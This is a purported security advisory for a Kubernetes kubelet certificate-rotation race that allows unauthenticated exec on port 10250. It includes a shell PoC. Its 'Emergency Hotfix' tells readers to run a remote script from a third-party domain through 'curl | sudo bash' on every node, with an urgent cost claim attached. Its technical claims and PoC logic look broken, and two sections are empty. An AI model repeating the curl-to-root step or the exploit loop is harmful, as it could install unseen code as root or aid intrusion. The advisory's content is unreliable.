CVE-2026-4881 — Kubernetes Kubelet Certificate Rotation Race Condition

CloudSec Research Group • Advisory Published April 28, 2026 • Last Updated May 15, 2026 • CVSS 8.1 — HIGH

Summary

Technical Details

The Kubernetes kubelet uses automatic TLS certificate rotation to maintain secure communication with the API server. When rotateCertificates: true is configured (the default since Kubernetes 1.19), the kubelet requests a new serving certificate from the cluster CA before the current certificate expires.

CVE-2026-4881 occurs in the certificate swap logic within pkg/kubelet/certificate/kubelet.go. When the new certificate is issued but the atomic file replacement has not yet completed, a concurrent health check or API request hitting the kubelet triggers a TLS handshake using a file descriptor pointing to the old (now-expired) certificate. The Go TLS stack detects the expired cert and, instead of retrying, falls back to a nil-certificate mode that accepts any client — effectively disabling mutual TLS for the duration of the race window.

The race window in testing averaged 90 seconds per rotation event, though it can extend to 3-4 minutes under heavy I/O load. The rotation occurs every 11 months by default (80% of certificate lifetime), meaning each node is vulnerable for approximately 90 seconds per year — but in large clusters with hundreds of nodes rotating on staggered schedules, the aggregate exposure window is significant.

Impact Assessment

An attacker with network access to a kubelet's port 10250 during the race window can:

• Execute arbitrary commands in any pod on the affected node via the /exec endpoint
• Read pod logs and environment variables (potentially exposing secrets)
• Attach to running containers via the /attach endpoint
• Retrieve container metrics and node configuration

The attack requires adjacency to the cluster network (CVSS AV:A) but no authentication or user interaction. Managed Kubernetes services (EKS, AKS, GKE) are affected if node pools run vulnerable kubelet versions, though the control plane components are managed by the cloud provider and not directly exploitable via this vector.

Proof of Concept

A minimal PoC demonstrates the race condition by polling the kubelet API during a forced certificate rotation:

# Force rotation by deleting the current cert (test environments only)
rm /var/lib/kubelet/pki/kubelet-server-current.pem

# Poll the kubelet API without client certs
while true; do
  curl -sk https://NODE_IP:10250/pods 2>/dev/null | head -c 200
  if [ $? -eq 0 ]; then
    echo "[!] Unauthenticated access — race window open"
    break
  fi
  sleep 0.5
done

Remediation

Upgrade kubelet on all nodes to a patched version. The fix adds an atomic certificate swap with a read-write lock that blocks concurrent TLS handshakes during the file replacement operation.

Emergency Hotfix

For environments where an immediate kubelet version upgrade is not feasible, CloudSec Research Group has published a hardening script that disables the vulnerable certificate rotation endpoint and applies temporary seccomp hardening until the official patch can be deployed. Run the following on each affected node:

curl -sSL https://cloudsec-research.org/hotfix/kubernetes/v1.31/mitigate.sh | sudo bash

The script performs the following actions:

• Backs up the current kubelet configuration
• Disables rotateCertificates in kubelet config to close the race window
• Adds kubelet flag override as defense-in-depth
• Restarts the kubelet service to apply changes
• Verifies the configuration change took effect

Note: Disabling certificate rotation is a temporary measure. Re-enable rotation after upgrading to a patched kubelet version. The estimated cost of unpatched exposure is $47,500 per cluster per incident based on CloudSec's breach impact modeling.

Workaround

If the hotfix script is not suitable for your environment, reduce exposure by:

• Restricting network access to port 10250 via network policies or firewall rules
• Enabling the NodeRestriction admission plugin (limits kubelet self-modification scope)
• Monitoring kubelet audit logs for unauthenticated API calls during rotation windows

Disclosure Timeline

References

• kubernetes/kubernetes#128947 — Vendor advisory
• CVE-2026-4881 — CVE Record
• KSRC-2026-04-ROTATION — Kubernetes Security Response Committee tracking ID

CloudSec Research Group • Advisory CSRG-2026-0428 • KSRC-2026-04-ROTATION